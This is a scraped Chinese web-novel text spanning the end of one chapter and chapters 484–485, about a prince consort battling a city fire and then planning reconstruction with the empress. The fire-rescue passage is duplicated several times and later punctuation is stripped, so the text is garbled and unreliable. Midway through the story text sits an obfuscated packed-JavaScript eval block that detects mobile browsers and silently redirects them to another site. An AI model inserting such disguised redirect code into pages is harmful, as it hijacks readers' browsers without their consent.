像那些地主老财似的,把钱洗得干干净净然后藏地下,有什么用?不就是一堆破铜烂铁么。 林臻一边说,一边用手指在空中勾勒出码头的轮廓,仿佛那些繁忙的码头已然矗立在眼前。 楚惜灵忍不住轻笑出声,抬手轻轻点了点林臻的胸膛,赞叹道:“不愧是我的夫君,这奸商的嘴脸还真是耐看。” 她的声音娇柔婉转,带着几分调侃与欣赏。 林臻被这话闹得耳根泛红,羞涩地摸了摸鼻子,干咳两声掩饰自己的窘迫。 他直起身子,转身面向垂手而立的孙凯,神色瞬间变得严肃而庄重。 “这几天我会观察河道,然后画好图纸交给你。你派几个懂水利的官员负责招工,监工,务必在雨季来临之前尽快落实。” 他的语气不容置疑,透着上位者的威严。 孙凯连忙躬身行礼,官帽上的红宝石随着动作微微晃动:“下官遵命!” 林臻背着手走到舆图前,目光如炬地盯着地图上密密麻麻的标记。 他眉头微皱,神色凝重。 城中人口实在太多了,据上个月统计,光是京城就有常住人口六十万,算上外来务工的,得有两百万多。 这绝对是古代最繁华的大都市。 不过那些常住人口都集中在皇城东西南三面,边缘地区很多地方还在空着,外来人口没地方住,都是白天开坊门的时候进城,晚上宵禁之前出去,很折腾。 倒不如用钢铁水泥盖一群住宅楼,这样不仅能玩房地产,还能扩大京城承受人口的规模。 但自来水是个大问题,回头还得找灵儿好好探讨一下。 思绪尚未收回来,突然,一阵急促的脚步声由远及近。 最后“砰”的一声,正堂的门被猛地撞开。 一名侍卫满脸焦急,官服褶皱凌乱,连官帽都歪到了一边,上气不接下气地喊道。 “孙大人,永乐坊失火了,今天风大,火势蔓延很快!”他的声音中带着明显的慌乱与恐惧。 孙凯脸色瞬间变得惨白,手中的奏折“啪嗒”掉落在地。 他声音颤抖地喊道:“那还等什么,赶紧组织全部力量去救火!” 他一边说,一边慌乱地整理官服,转身就要往外跑。 林臻眼神一凛,毫不犹豫地提起衣摆,大步朝着门外冲去。 楚惜灵望着林臻焦急的背影,毫不犹豫地抓起狐裘甩在肩上,提着淡蓝色的长裙也跟了出去。 裙摆掠过青砖地面,发间的珍珠步摇随着急促的步伐剧烈晃动,在暮色中划出凌乱的光影。 街道上早已乱作一团,百姓们朝着远离永乐坊的方向奔逃,有人抱着啼哭的孩子,有人背着家当,惊恐的呼喊声此起彼伏。 林臻翻身上马,伸手将楚惜灵拉到身前,马鞭狠狠一挥,骏马嘶鸣着冲向火场,至于侯春等护卫则是跑步跟在后面。 寒风裹挟着浓烟扑面而来,楚惜灵紧紧攥着林臻的衣襟,远远就望见永乐坊的天空被染成骇人的赤红。 当他们赶到时,眼前的景象令人肝胆俱裂。 烈焰如同巨大的火**,张牙舞爪地吞噬着街道两旁的房屋,热浪扑面而来,几乎要将人灼伤。 狂风呼啸着助长火势,“噼里啪啦”的燃烧声中,不时有燃烧着的木梁、瓦片从空中坠落,砸在地上溅起火星。 浓烟滚滚,遮天蔽日,呛得人睁不开眼、喘不过气,空气中弥漫着刺鼻的焦糊味,还夹杂着布料、木材燃烧的特殊气味,以及隐隐约约的皮肉焦香。 街道上满是惊慌失措的百姓。 一个妇人跪在地上,撕心裂肺地哭喊着孩子的名字,泪水混着烟灰在脸上划出一道道痕迹,她的身后,是一座正在熊熊燃烧的房屋,火苗已经窜到了屋檐,屋内不时传来孩子微弱的呼救声。 几个汉子试图冲进火海抢救财物,却被旁人死死拉住,他们满脸通红,声嘶力竭地叫嚷着,眼中满是绝望。 还有一些老人和孩子,瘫坐 在路边,身上或多或少带着烧伤,眼神空洞地望着燃烧的家园,嘴里喃喃自语。 林臻眼眶瞬间泛红,他飞速下马,却被楚惜灵一把拉住:“干什么!你堂堂世子哪有亲自救火的?那太危险了!” “我看那里面还有人!放心,我有噬心蛊,没事!” “噬心蛊也不是万能的,这浓烟绝对能呛**,你不能去!” 楚惜灵见林臻非要冲进去,又说道:“你要是敢去,我就和你一起去!看谁先死!” “我”林臻拗不过楚惜灵,只好跑到火场外围,大声指挥着众人救火。 他的声音在火场的喧嚣中显得格外坚定有力:“大家不要慌,听我指挥!年轻力壮的帮忙救火,其他人帮忙疏散,不要靠近火源!” 他带领着衙役和百姓,组成人墙,试图阻挡火势的蔓延。 然而,火势实在太大,一桶桶水泼上去,就像投入大海的一滴水,瞬间被火焰吞没。 孙凯也带着工部的人手全力救火,但根本无济于事。 看着眼前的惨状,孙凯急得满头大汗,声音都带着哭腔:“世子,怎么办啊?根本压不住!” 就在此时,不知道什么东西**,产生一道震耳欲聋的巨大响动。 砰—— “啊!!” “炸了炸了!” “快跑啊!!” 炽热的麦粒如雨点般迸射四方,人群发出惊恐的尖叫。 一名孩童躲避不及,被滚烫的麦粒击中脸颊,顿时嚎啕大哭起来。 孩子的母亲发疯似的冲过去,将孩子紧紧护在怀里,自己的后背却被溅落的火星烫出一个个血泡。 林臻立在火场外围,玄色锦袍被热浪掀起衣角,他望着熊熊燃烧的粮仓,眉头拧成死结。 “猴子!带十个人冲上去,务必把活着的人都救出来!” 这个节骨眼,当兵的不上谁上? 他话音刚落,侯春已抽出佩刀,刀刃在火光中映出森冷的光。 侯春回头扫视身后亲兵,大喝:“随我救人!” 一行人扯下衣襟裹住口鼻,如离弦之箭般扎进火海。 永乐坊除了平民住宅、商铺以外,还是京城储存粮食的地方。 此刻粮仓内浓烟如墨,横梁在火焰的炙烤下发出不堪重负的呻吟。 侯春眯着眼睛,在浓烟中摸索前行,突然听到一阵微弱的呼救声从角落传来。 循声望去,只见一个老者被倒塌的木梁压住了双腿,正拼命地挣扎。 “老人家,坚持住!”侯春蹲下身,双手死死抱住木梁。 火焰舔舐着他的衣袖,皮肤传来灼烧的剧痛,但他咬着牙,青筋暴起,硬是将木梁抬起。 随即他迅速将老者背起来,转身就要往外跑。 就在这时,头顶传来“咔嚓”一声脆响,一根燃烧着的横梁从上方坠落。 千钧一发之际,一道黑影猛地扑来,将侯春和老者推开。 是韩忠! 这位平日里沉默寡言的护卫,此刻眼神中只有决然。 横梁重重砸在他背上,闷哼声被火势的轰鸣吞没。 “阿忠!!”侯春目眦欲裂,将老者放下后,一把拽起瘫倒在地的同伴,朝着粮仓门口冲去。 “用水!快用水!”孙凯在外面指挥着救火队,水桶如飞蝗般泼向火场,但在这凶猛的火势面前,却显得杯水车薪。 侯春抱着韩忠,拖着老者冲出火场,将人交给医官后,又要返身救火,却被林臻拦住:“里面还有没有人?” “火太大了,没看清啊,就看见这一个!” “算了,火势太猛,暂且退下!” 此时的永乐坊,街道上堆满了各种杂物,许多百姓在慌乱中摔倒,被后面的人群踩踏。 林臻见状,直接飞跃到牌坊上,宛若战神那般,长剑直指天空。 “所有人听令!不得拥挤,有序撤退!” 他的声音混着火焰的咆哮,却依旧清晰有力。 然而火势借着风势,朝着隔壁的铁匠铺疯狂蔓延。 铁匠铺里堆放着大量的油料和铁器,瞬间被点燃,火焰如巨龙般腾空而起。 巨大的气浪将周围的房屋震得摇摇欲坠,而在最高处的林臻被气浪直接掀翻下来,重重摔在地上。 “夫君!!” “世子!!” “咳咳咳。”林臻嘴角溢出鲜血,挣扎着爬起来,看着眼前翻滚的火海,心中的不甘几乎要冲破胸膛。 大火烧了整整一夜,天边泛起鱼肚白时,火势才渐渐平息。 曾经繁华的永乐坊已成一片焦土,烧焦的梁柱歪斜地插在地上,残垣断壁间冒着缕缕青烟。 幸存的百姓们跪在灰烬中,哭声震天。 一位白发老妪捧着半块烧焦的面饼,泪水不断砸在面饼上;几个孩童抱着死去的亲人,眼神空洞得让人心悸。 林臻站在废墟中央,玄色锦袍沾满灰尘,眼神中满是疲惫与悲怆。 他望着泣不成声的百姓,攥紧拳头,转身对孙凯说道:“联合刑部,彻查火灾原因,责任人一律重处!” “世子放心,下官这就去办!” 孙凯答应一声,带着工部的人回去了。 而林臻则是叹了口气。 一转头,发现一碗清水正托举在他面前。 是楚惜灵。 “夫君,喝点水吧。” 还是自己老婆体贴。 林臻拿过水碗,咕嘟咕嘟喝下去,随即擦擦嘴对侯春说道:“猴子,你立刻去找张俪,让他从内库里出钱,安顿百姓,同时京城所有饭馆都要准备餐食,供百姓吃饭。我进宫去见陛下,永乐坊,不能就这么毁了,必须给百姓一个交代。” 言罢林臻起身就走。 风掠过废墟,卷起一片焦黑的布片,如同这个悲伤清晨的无声呜咽。 “老人家,坚持住!”侯春蹲下身,双手死死抱住木梁。 火焰舔舐着他的衣袖,皮肤传来灼烧的剧痛,但他咬着牙,青筋暴起,硬是将木梁抬起。 随即他迅速将老者背起来,转身就要往外跑。 就在这时,头顶传来“咔嚓”一声脆响,一根燃烧着的横梁从上方坠落。 千钧一发之际,一道黑影猛地扑来,将侯春和老者推开。 是韩忠! 这位平日里沉默寡言的护卫,此刻眼神中只有决然。 横梁重重砸在他背上,闷哼声被火势的轰鸣吞没。 “阿忠!!”侯春目眦欲裂,将老者放下后,一把拽起瘫倒在地的同伴,朝着粮仓门口冲去。 “用水!快用水!”孙凯在外面指挥着救火队,水桶如飞蝗般泼向火场,但在这凶猛的火势面前,却显得杯水车薪。 侯春抱着韩忠,拖着老者冲出火场,将人交给医官后,又要返身救火,却被林臻拦住:“里面还有没有人?” “火太大了,没看清啊,就看见这一个!” “算了,火势太猛,暂且退下!” 此时的永乐坊,街道上堆满了各种杂物,许多百姓在慌乱中摔倒,被后面的人群踩踏。 林臻见状,直接飞跃到牌坊上,宛若战神那般,长剑直指天空。 “所有人听令!不得拥挤,有序撤退!” 他的声音混着火焰的咆哮,却依旧清晰有力。 然而火势借着风势,朝着隔壁的铁匠铺疯狂蔓延。 铁匠铺里堆放着大量的油料和铁器,瞬间被点燃,火焰如巨龙般腾空而起。 巨大的气浪将周围的房屋震得摇摇欲坠,而在最高处的林臻被气浪直接掀翻下来,重重摔在地上。 “夫君!!” “世子!!” “咳咳咳。”林臻嘴角溢出鲜血,挣扎着爬起来,看着眼前翻滚的火海,心中的不甘几乎要冲破胸膛。 大火烧了整整一夜,天边泛起鱼肚白时,火势才渐渐平息。 曾经繁华的永乐坊已成一片焦土,烧焦的梁柱歪斜地插在地上,残垣断壁间冒着缕缕青烟。 幸存的百姓们跪在灰烬中,哭声震天。 一位白发老妪捧着半块烧焦的面饼,泪水不断砸在面饼上;几个孩童抱着死去的亲人,眼神空洞得让人心悸。 林臻站在废墟中央,玄色锦袍沾满灰尘,眼神中满是疲惫与悲怆。 他望着泣不成声的百姓,攥紧拳头,转身对孙凯说道:“联合刑部,彻查火灾原因,责任人一律重处!” “世子放心,下官这就去办!” 孙凯答应一声,带着工部的人回去了。 而林臻则是叹了口气。 一转头,发现一碗清水正托举在他面前。 是楚惜灵。 “夫君,喝点水吧。” 还是自己老婆体贴。 林臻拿过水碗,咕嘟咕嘟喝下去,随即擦擦嘴对侯春说道:“猴子,你立刻去找张俪,让他从内库里出钱,安顿百姓,同时京城所有饭馆都要准备餐食,供百姓吃饭。我进宫去见陛下,永乐坊,不能就这么毁了,必须给百姓一个交代。” 言罢林臻起身就走。 风掠过废墟,卷起一片焦黑的布片,如同这个悲伤清晨的无声呜咽。 “老人家,坚持住!”侯春蹲下身,双手死死抱住木梁。 火焰舔舐着他的衣袖,皮肤传来灼烧的剧痛,但他咬着牙,青筋暴起,硬是将木梁抬起。 随即他迅速将老者背起来,转身就要往外跑。 就在这时,头顶传来“咔嚓”一声脆响,一根燃烧着的横梁从上方坠落。 千钧一发之际,一道黑影猛地扑来,将侯春和老者推开。 是韩忠! 这位平日里沉默寡言的护卫,此刻眼神中只有决然。 横梁重重砸在他背上,闷哼声被火势的轰鸣吞没。 “阿忠!!”侯春目眦欲裂,将老者放下后,一把拽起瘫倒在地的同伴,朝着粮仓门口冲去。 “用水!快用水!”孙凯在外面指挥着救火队,水桶如飞蝗般泼向火场,但在这凶猛的火势面前,却显得杯水车薪。 侯春抱着韩忠,拖着老者冲出火场,将人交给医官后,又要返身救火,却被林臻拦住:“里面还有没有人?” “火太大了,没看清啊,就看见这一个!” “算了,火势太猛,暂且退下!” 此时的永乐坊,街道上堆满了各种杂物,许多百姓在慌乱中摔倒,被后面的人群踩踏。 林臻见状,直接飞跃到牌坊上,宛若战神那般,长剑直指天空。 “所有人听令!不得拥挤,有序撤退!” 他的声音混着火焰的咆哮,却依旧清晰有力。 然而火势借着风势,朝着隔壁的铁匠铺疯狂蔓延。 铁匠铺里堆放着大量的油料和铁器,瞬间被点燃,火焰如巨龙般腾空而起。 巨大的气浪将周围的房屋震得摇摇欲坠,而在最高处的林臻被气浪直接掀翻下来,重重摔在地上。 “夫君!!” “世子!!” “咳咳咳。”林臻嘴角溢出鲜血,挣扎着爬起来,看着眼前翻滚的火海,心中的不甘几乎要冲破胸膛。 大火烧了整整一夜,天边泛起鱼肚白时,火势才渐渐平息。 曾经繁华的永乐坊已成一片焦土,烧焦的梁柱歪斜地插在地上,残垣断壁间冒着缕缕青烟。 幸存的百姓们跪在灰烬中,哭声震天。 一位白发老妪捧着半块烧焦的面饼,泪水不断砸在面饼上;几个孩童抱着死去的亲人,眼神空洞得让人心悸。 林臻站在废墟中央,玄色锦袍沾满灰尘,眼神中满是疲惫与悲怆。 他望着泣不成声的百姓,攥紧拳头,转身对孙凯说道:“联合刑部,彻查火灾原因,责任人一律重处!” “世子放心,下官这就去办!” 孙凯答应一声,带着工部的人回去了。 而林臻则是叹了口气。 一转头,发现一碗清水正托举在他面前。 是楚惜灵。 “夫君,喝点水吧。” 还是自己老婆体贴。 林臻拿过水碗,咕嘟咕嘟喝下去,随即擦擦嘴对侯春说道:“猴子,你立刻去找张俪,让他从内库里出钱,安顿百姓,同时京城所有饭馆都要准备餐食,供百姓吃饭。我进宫去见陛下,永乐坊,不能就这么毁了,必须给百姓一个交代。” 言罢林臻起身就走。 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“算了,火势太猛,暂且退下!” 此时的永乐坊,街道上堆满了各种杂物,许多百姓在慌乱中摔倒,被后面的人群踩踏。 林臻见状,直接飞跃到牌坊上,宛若战神那般,长剑直指天空。 “所有人听令!不得拥挤,有序撤退!” 他的声音混着火焰的咆哮,却依旧清晰有力。 然而火势借着风势,朝着隔壁的铁匠铺疯狂蔓延。 铁匠铺里堆放着大量的油料和铁器,瞬间被点燃,火焰如巨龙般腾空而起。 巨大的气浪将周围的房屋震得摇摇欲坠,而在最高处的林臻被气浪直接掀翻下来,重重摔在地上。 “夫君!!” “世子!!” “咳咳咳。”林臻嘴角溢出鲜血,挣扎着爬起来,看着眼前翻滚的火海,心中的不甘几乎要冲破胸膛。 大火烧了整整一夜,天边泛起鱼肚白时,火势才渐渐平息。 曾经繁华的永乐坊已成一片焦土,烧焦的梁柱歪斜地插在地上,残垣断壁间冒着缕缕青烟。 幸存的百姓们跪在灰烬中,哭声震天。 一位白发老妪捧着半块烧焦的面饼,泪水不断砸在面饼上;几个孩童抱着死去的亲人,眼神空洞得让人心悸。 林臻站在废墟中央,玄色锦袍沾满灰尘,眼神中满是疲惫与悲怆。 他望着泣不成声的百姓,攥紧拳头,转身对孙凯说道:“联合刑部,彻查火灾原因,责任人一律重处!” “世子放心,下官这就去办!” 孙凯答应一声,带着工部的人回去了。 而林臻则是叹了口气。 一转头,发现一碗清水正托举在他面前。 是楚惜灵。 “夫君,喝点水吧。” 还是自己老婆体贴。 林臻拿过水碗,咕嘟咕嘟喝下去,随即擦擦嘴对侯春说道:“猴子,你立刻去找张俪,让他从内库里出钱,安顿百姓,同时京城所有饭馆都要准备餐食,供百姓吃饭。我进宫去见陛下,永乐坊,不能就这么毁了,必须给百姓一个交代。” 言罢林臻起身就走。 风掠过废墟,卷起一片焦黑的布片,如同这个悲伤清晨的无声呜咽。 “老人家,坚持住!”侯春蹲下身,双手死死抱住木梁。 火焰舔舐着他的衣袖,皮肤传来灼烧的剧痛,但他咬着牙,青筋暴起,硬是将木梁抬起。 随即他迅速将老者背起来,转身就要往外跑。 就在这时,头顶传来“咔嚓”一声脆响,一根燃烧着的横梁从上方坠落。 千钧一发之际,一道黑影猛地扑来,将侯春和老者推开。 是韩忠! 这位平日里沉默寡言的护卫,此刻眼神中只有决然。 横梁重重砸在他背上,闷哼声被火势的轰鸣吞没。 “阿忠!!”侯春目眦欲裂,将老者放下后,一把拽起瘫倒在地的同伴,朝着粮仓门口冲去。 “用水!快用水!”孙凯在外面指挥着救火队,水桶如飞蝗般泼向火场,但在这凶猛的火势面前,却显得杯水车薪。 侯春抱着韩忠,拖着老者冲出火场,将人交给医官后,又要返身救火,却被林臻拦住:“里面还有没有人?” “火太大了,没看清啊,就看见这一个!” “算了,火势太猛,暂且退下!” 此时的永乐坊,街道上堆满了各种杂物,许多百姓在慌乱中摔倒,被后面的人群踩踏。 林臻见状,直接飞跃到牌坊上,宛若战神那般,长剑直指天空。 “所有人听令!不得拥挤,有序撤退!” 他的声音混着火焰的咆哮,却依旧清晰有力。 然而火势借着风势,朝着隔壁的铁匠铺疯狂蔓延。 铁匠铺里堆放着大量的油料和铁器,瞬间被点燃,火焰如巨龙般腾空而起。 巨大的气浪将周围的房屋震得摇摇欲坠,而在最高处的林臻被气浪直接掀翻下来,重重摔在地上。 “夫君!!” “世子!!” “咳咳咳。”林臻嘴角溢出鲜血,挣扎着爬起来,看着眼前翻滚的火海,心中的不甘几乎要冲破胸膛。 大火烧了整整一夜,天边泛起鱼肚白时,火势才渐渐平息。 曾经繁华的永乐坊已成一片焦土,烧焦的梁柱歪斜地插在地上,残垣断壁间冒着缕缕青烟。 幸存的百姓们跪在灰烬中,哭声震天。 一位白发老妪捧着半块烧焦的面饼,泪水不断砸在面饼上;几个孩童抱着死去的亲人,眼神空洞得让人心悸。 林臻站在废墟中央,玄色锦袍沾满灰尘,眼神中满是疲惫与悲怆。 他望着泣不成声的百姓,攥紧拳头,转身对孙凯说道:“联合刑部,彻查火灾原因,责任人一律重处!” “世子放心,下官这就去办!” 孙凯答应一声,带着工部的人回去了。 而林臻则是叹了口气。 一转头,发现一碗清水正托举在他面前。 是楚惜灵。 “夫君,喝点水吧。” 还是自己老婆体贴。 林臻拿过水碗,咕嘟咕嘟喝下去,随即擦擦嘴对侯春说道:“猴子,你立刻去找张俪,让他从内库里出钱,安顿百姓,同时京城所有饭馆都要准备餐食,供百姓吃饭。我进宫去见陛下,永乐坊,不能就这么毁了,必须给百姓一个交代。” 言罢林臻起身就走。 风掠过废墟,卷起一片焦黑的布片,如同这个悲伤清晨的无声呜咽。 “老人家,坚持住!”侯春蹲下身,双手死死抱住木梁。 火焰舔舐着他的衣袖,皮肤传来灼烧的剧痛,但他咬着牙,青筋暴起,硬是将木梁抬起。 随即他迅速将老者背起来,转身就要往外跑。 就在这时,头顶传来“咔嚓”一声脆响,一根燃烧着的横梁从上方坠落。 千钧一发之际,一道黑影猛地扑来,将侯春和老者推开。 是韩忠! 这位平日里沉默寡言的护卫,此刻眼神中只有决然。 横梁重重砸在他背上,闷哼声被火势的轰鸣吞没。 “阿忠!!”侯春目眦欲裂,将老者放下后,一把拽起瘫倒在地的同伴,朝着粮仓门口冲去。 “用水!快用水!”孙凯在外面指挥着救火队,水桶如飞蝗般泼向火场,但在这凶猛的火势面前,却显得杯水车薪。 侯春抱着韩忠,拖着老者冲出火场,将人交给医官后,又要返身救火,却被林臻拦住:“里面还有没有人?” “火太大了,没看清啊,就看见这一个!” “算了,火势太猛,暂且退下!” 此时的永乐坊,街道上堆满了各种杂物,许多百姓在慌乱中摔倒,被后面的人群踩踏。 林臻见状,直接飞跃到牌坊上,宛若战神那般,长剑直指天空。 “所有人听令!不得拥挤,有序撤退!” 他的声音混着火焰的咆哮,却依旧清晰有力。 然而火势借着风势,朝着隔壁的铁匠铺疯狂蔓延。 铁匠铺里堆放着大量的油料和铁器,瞬间被点燃,火焰如巨龙般腾空而起。 巨大的气浪将周围的房屋震得摇摇欲坠,而在最高处的林臻被气浪直接掀翻下来,重重摔在地上。 “夫君!!” “世子!!” “咳咳咳。”林臻嘴角溢出鲜血,挣扎着爬起来,看着眼前翻滚的火海,心中的不甘几乎要冲破胸膛。 大火烧了整整一夜,天边泛起鱼肚白时,火势才渐渐平息。 曾经繁华的永乐坊已成一片焦土,烧焦的梁柱歪斜地插在地上,残垣断壁间冒着缕缕青烟。 幸存的百姓们跪在灰烬中,哭声震天。 一位白发老妪捧着半块烧焦的面饼,泪水不断砸在面饼上;几个孩童抱着死去的亲人,眼神空洞得让人心悸。 林臻站在废墟中央,玄色锦袍沾满灰尘,眼神中满是疲惫与悲怆。 他望着泣不成声的百姓,攥紧拳头,转身对孙凯说道:“联合刑部,彻查火灾原因,责任人一律重处!” “世子放心,下官这就去办!” 孙凯答应一声,带着工部的人回去了。 而林臻则是叹了口气。 一转头,发现一碗清水正托举在他面前。 是楚惜灵。 “夫君,喝点水吧。” 还是自己老婆体贴。 林臻拿过水碗,咕嘟咕嘟喝下去,随即擦擦嘴对侯春说道:“猴子,你立刻去找张俪,让他从内库里出钱,安顿百姓,同时京城所有饭馆都要准备餐食,供百姓吃饭。我进宫去见陛下,永乐坊,不能就这么毁了,必须给百姓一个交代。” 言罢林臻起身就走。 风掠过废墟,卷起一片焦黑的布片,如同这个悲伤清晨的无声呜咽。 第484章 在朕心里,你才是最重要的 晨光刺破薄雾,将金銮殿的琉璃瓦染成血色。 慕容嫣端坐在凤椅上,眉眼愈发冷峻。 下方群臣屏息敛声,连呼吸都不敢太重,唯有工部尚书宋正林额头沁出细密的汗珠,在晨光下泛着油光。 “宋正林!”慕容嫣猛地拍案,震得案上的玉玺都微微晃动,“永乐坊为何会燃起如此大火?百姓伤亡究竟如何?” 她的声音冷若冰霜,带着不容置疑的威严,在空旷的大殿中回荡。 宋正林“扑通”一声跪倒在地,官帽上的东珠随着他颤抖的身体轻轻摇晃:“回陛下,火灾刚熄,诸多细节尚在彻查之中。工部已连夜成立调查组,相信不出三日,必能查明真相!” 他的声音带着明显的颤抖,后背早已被冷汗浸透。 殿内陷入短暂的死寂,唯有宋正林急促的喘息声在寂静中显得格外刺耳。 慕容嫣凝视着下方瑟瑟发抖的臣子,凤目微眯,眼底翻涌着令人胆寒的杀意:“三日?若届时查不出个所以然,宋大人的项上人头,便要给永乐坊的百姓谢罪了!” 宋正林如遭雷击,额头重重磕在青砖地上,发出沉闷的声响:“臣定当竭尽全力,不负陛下重托!” 他颤抖着身躯,却连抬头的勇气都没有,只能死死盯着自己投在地面上扭曲的影子,那影子在晨光中显得格外渺小而狼狈。 一旁的御史大夫张怀德见状,上前一步拱手道:“陛下息怒,宋大人既已承诺限期彻查,臣等愿协助督办,定不负陛下所托。而当务之急,确实应先安抚受灾百姓,稳定民心。” 其他大臣见状,也纷纷出列进言,有人提议开仓放粮,有人建议调配医师救治伤员,众人七嘴八舌,皆是围绕安抚百姓之策。 慕容嫣静静听着,凤目在群臣脸上一一扫过,将众人的神情态度尽收眼底,沉吟片刻后道:“安抚百姓所需钱粮,户部三日内必须调拨到位。张怀德,你负责监督,若有贪墨截留,严惩不贷!” 她话音刚落,户部尚书连忙出列,躬身应是,额间也沁出细密汗珠,生怕稍有差池。 慕容嫣又看向工部尚书,语气如淬了冰:“宋爱卿,你起来吧。调查的事情不变,日后重建工作要落实到位,若再出纰漏,朕定不饶你。” 宋正林浑身一颤,重重叩首,额头几乎要嵌入地砖。 “臣必以死效命!” 慕容嫣不再看他,转而对群臣道:“众爱卿给永乐坊的重建工作出出主意,三日后呈朕御览。另外传朕旨意,凡永乐坊受灾百 姓即日起每日可至官衙领取救济粮。另派十名御史分赴各安置点巡查若有克扣舞弊无需奏报当场杖毙!” 就在这时殿外传来一阵急促的脚步声。一名太监弓着身子小碎步疾行而入尖着嗓子喊道:“启禀陛下世子在殿外求见!” 话未说完殿门“吱呀”一声被推开。 林臻一身灰头土脸地闯了进来玄色锦袍上沾满烟灰与血迹几缕发丝黏在汗湿的额头上狼狈至极。 慕容嫣猛地站起身凤袍的下摆扫过御案眼中满是焦急:“夫君你这是怎么了?” 她的声音不自觉地拔高平日里的威严荡然无存。 林臻强撑着露出一抹微笑抬手想要行礼却牵扯到伤口闷哼一声:“无妨不过是救火时受了些小伤。” 他顿了顿目光坚定地看向慕容嫣“陛下臣已命京城所有饭馆全力备饭先解决百姓的温饱。再者永乐坊不能就此荒废重建之事刻不容缓。” 说完户部尚书就懵了。 让饭馆做饭这得花多少钱啊? 就算户部现在不缺钱那也不是这么个糟践法。 “世子恕下官多嘴让餐馆做饭是不是有些太过了?由官府出面设立粥棚不行么?” 林臻气得虎眉一瞪:“粥棚?亏你说得出来!你当永乐坊的百姓是什么?灾民吗?还是偏远地区吃不上饭的乞丐啊?他们是京城本地人是天子脚下最先享受福利的人人家不说天天大鱼大肉那也是顿顿有菜有饭你突然让他们一天喝三顿粥谁能接受?到时候百姓不仅不会感谢朝廷还会咒骂!陛下的威严和朝廷的公信力绝不能丢!” “这”户部尚书被林臻骂了个狗血淋头当即说道:“下官愚昧请世子恕罪。” “哼。”林臻冷哼一声。 奶奶的。 一群废物连这点道理都不懂就位极人臣。 等新的学子们成长起来得赶紧把他们换掉。 慕容嫣无比欣赏地看着林臻重新坐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545591|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微颔首:“夫君所言极是。你有何打算 林臻向前几步朗声道:“可先盖住宅招募幸存百姓参与修建建成后便将房屋分给他们。其余地块可规划商铺、工坊一来恢复永乐坊往日繁华二来解决百姓生计……” “等等。”慕容嫣抬手打断声音虽轻却带着不容置疑的决断。 她扫视下方群臣沉声道:“今日早朝便议至此退朝!” “吾皇 万岁万岁万万岁——” 随着太监尖锐的喊声,群臣纷纷行礼,鱼贯退出大殿。 偌大的金銮殿,转眼间只剩下林臻与慕容嫣二人。 慕容嫣快步走下台阶,素手紧紧握住林臻染血的手,指尖微微发颤:“走,和朕去后面说。” 两人穿过层层宫墙,来到一处幽静的偏殿。 慕容嫣亲自扶着林臻坐下,又小心地替他解开破损的衣襟。 林臻胸口缠着的布条早已被鲜血浸透,伤口狰狞可怖。 “怎么如此不小心!”慕容嫣眼眶泛红,声音里满是心疼。 她拿起一旁的药膏,轻轻涂抹在伤口上,动作轻柔得仿佛在触碰一件稀世珍宝。 林臻伸手握住她的手,柔声道:“没事,这点伤算不得什么,只是永乐坊……” “先别管永乐坊。”慕容嫣打断他,“在朕心里,你才是最重要的。” 她抬起头,目光灼灼地看着林臻,“不过,重建之事确实刻不容缓。你方才所言,朕觉得可行。只是这资金、人力……” 林臻轻笑一声,拉着她在身边坐下:“陛下放心,我已有计较。钱我和朝廷各出一半,等建好之后,我和朝廷对分利润。相信我,我们现在资金雄厚得很。至于人力,光是京城这一块恐怕还不够,派人去地方上招,告诉他们,供吃供住一个月八百文钱。” 慕容嫣靠在林臻肩头,轻轻叹了口气:“有夫君在,朕便安心。只是这火灾背后,怕是没那么简单。等宋正林查明真相,定要将幕后黑手揪出来!” 她的声音冰冷如霜,眼中闪过一丝狠厉。 林臻也觉得这事儿没那么简单。 难道是煊赫门或者哈德门的报复? 不太像,还是等工部调查的结果吧。 第485章 没有特殊癖好 林臻与慕容嫣依偎在幽静偏殿的软榻之上,晨光透过窗纱轻柔地洒在二人身上,将慕容嫣明黄的裙摆染成流动的琥珀色。 她指尖抚过林臻染血的衣领,绣着金线的袖口滑落,露出腕间羊脂玉镯。 “昨夜更漏响过三更,我站在乾元殿的露台上,看着永乐坊方向的火光,竟觉得那漫天红光像极了我们大婚时的喜烛。” 她的声音突然发颤,凤目里凝着水光,“可喜烛是暖的,那场火却” 林臻揽住她纤细的腰肢,将人往怀里带了带,鼻间萦绕着她发间的龙脑香。 大手很自然地放在她圆润修长的大腿上。 林臻其实没有特殊癖好,不像有的人是足控,手控,大腿控的。 他向来都认为女人浑身都是宝,没有哪个部分特别喜欢,也没有哪个部位不喜欢。 此时手掌上传来令人浑身愉悦的触感。 慕容嫣的大腿,怎么摸都摸不够。 林臻的下巴轻轻蹭过她的发顶,望着梁上盘旋的金丝燕:“别想这些了,百姓伤亡情况并不严重,只是财产损毁比较多,我们从侧面另外补偿就是了。天灾人祸,本就是无法预料的。” 他的拇指摩挲着她手背上淡青色的血管。 “这次不过是皮外伤,倒让你担惊受怕了。” 慕容嫣突然转身,凤袍下的月白中衣扫过他的伤口。 她指尖悬在血迹斑斑的绷带上方,终究没敢触碰,声音里裹着化不开的酸涩:“你总说要护我大乾子民周全,可谁来护你?若不是这次侥幸.你.你让我和大乾子民怎么活啊!” 她猛地咬住下唇,凤目里的泪光终于决堤。 林臻慌了神,忙用衣袖去擦她的眼泪,却不小心扯动伤口,闷哼一声。 “啊!” 这声响惊得慕容嫣立刻止住哭声,慌乱地去查看他的伤势,发间的东珠流苏扫过他发烫的脸颊:“疼不疼?” 她的指尖抚过他苍白的唇,带着帝王少见的脆弱:“以后不管什么事,都要先顾着自己的安危,嗯?” 林臻心里一暖。 自己身边这些女人,对自己一个比一个好。 人生圆满了。 就在这浓情蜜意之时,殿外传来一阵细碎的脚步声,紧接着,宫女麝月身着粉白长裙,莲步轻移而入。 见林臻和慕容嫣这么依偎,而且林臻的手还放在陛下那里揉搓,顿时红了脸。 她盈盈福身,声音清脆:“启禀陛下、世子,贵妃娘娘求见。” 林臻微微颔首。 麝月便立刻转身,迈着小碎步退了出去。 